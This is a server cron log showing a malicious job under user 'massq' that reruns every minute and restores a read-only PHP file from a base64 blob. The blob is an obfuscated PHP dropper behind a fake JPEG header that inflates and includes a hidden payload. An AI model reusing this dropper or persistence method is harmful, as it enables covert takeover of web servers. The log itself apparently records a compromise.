Nov 10 08:44:01 server CROND[20922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:45:01 server CROND[21751]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:45:01 server CROND[21752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:45:01 server CROND[21755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:46:01 server CROND[22458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:47:01 server CROND[22822]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:48:01 server CROND[23606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:49:01 server CROND[23867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:50:01 server CROND[24647]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 08:50:01 server CROND[24649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:50:01 server CROND[24648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:50:01 server CROND[24654]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 08:50:01 server CROND[24650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:51:01 server CROND[24998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:52:01 server CROND[25825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:53:01 server CROND[26540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:54:01 server CROND[27349]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:55:01 server CROND[27942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:55:01 server CROND[27943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:55:01 server CROND[27944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:56:01 server CROND[28826]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:57:01 server CROND[29771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
